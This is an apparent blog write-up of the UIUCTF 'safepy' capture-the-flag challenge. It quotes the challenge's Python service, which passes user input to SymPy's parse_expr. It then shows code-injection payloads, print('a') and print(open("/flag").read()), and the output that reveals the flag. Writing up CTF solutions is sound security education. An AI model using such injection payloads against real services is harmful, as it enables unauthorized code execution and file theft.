‹ Back to blog

safepy

My calculator won’t be getting pwned again…

The service was available at nc safepy.chal.uiuc.tf 1337 and came with handout.tar.gz.

safepy presents itself as a derivative calculator. The calculus lasted about as long as it took to notice that the expression parser was still willing to execute ordinary Python.

Unpacking it gives us the Python service and a few Docker files. Line 28 of the Dockerfile already gives us one useful detail: the flag is stored at /flag. The actual application is short enough to read in one go.

from sympy import *

def parse(expr):
    # learned from our mistake... let's be safe now
    # return sympify(expr)
    return parse_expr(expr)

print('Welcome to the derivative (with respect to x) solver!')
user_input = input('Your expression: ')
expr = parse(user_input)
deriv = diff(expr, Symbol('x'))
print('The derivative of your expression is:')
print(deriv)

Our input goes into parse_expr() and the resulting object is handed to diff(). The comments are almost a hint by themselves: sympify() was replaced after its ability to evaluate Python expressions was noticed, and the documentation for the new parser is linked right beside it.

I followed those links before trying to build a complicated SymPy payload. parse_expr() transforms the supplied string and evaluates the transformed expression in a Python namespace. Its evaluate option controls mathematical simplification; it does not turn the parser into a safe sandbox. If normal function calls survive the transformation, we should be able to call much more than algebra helpers.

I started with the smallest test I could think of:

$ nc safepy.chal.uiuc.tf 1337
== proof-of-work: disabled ==
Welcome to the derivative (with respect to x) solver!
Your expression: print('a')
a

The a appears before the service ever prints a derivative, which confirms that the parser executed our function call. At this point the challenge is no longer about finding a clever derivative. We already know the flag path and can ask Python to read it directly.

print(open("/flag").read())

Sending that as the expression executes open(), reads the file and prints its contents through the same call that handled our first test.

$ nc safepy.chal.uiuc.tf 1337
== proof-of-work: disabled ==
Welcome to the derivative (with respect to x) solver!
Your expression: print(open("/flag").read())
uiuctf{na1v3_0r_mal1ci0u5_chang3?}

The replacement for sympify() changed the parser, but not the dangerous boundary: attacker-controlled text still reached Python’s evaluator. No symbolic-math trick was needed.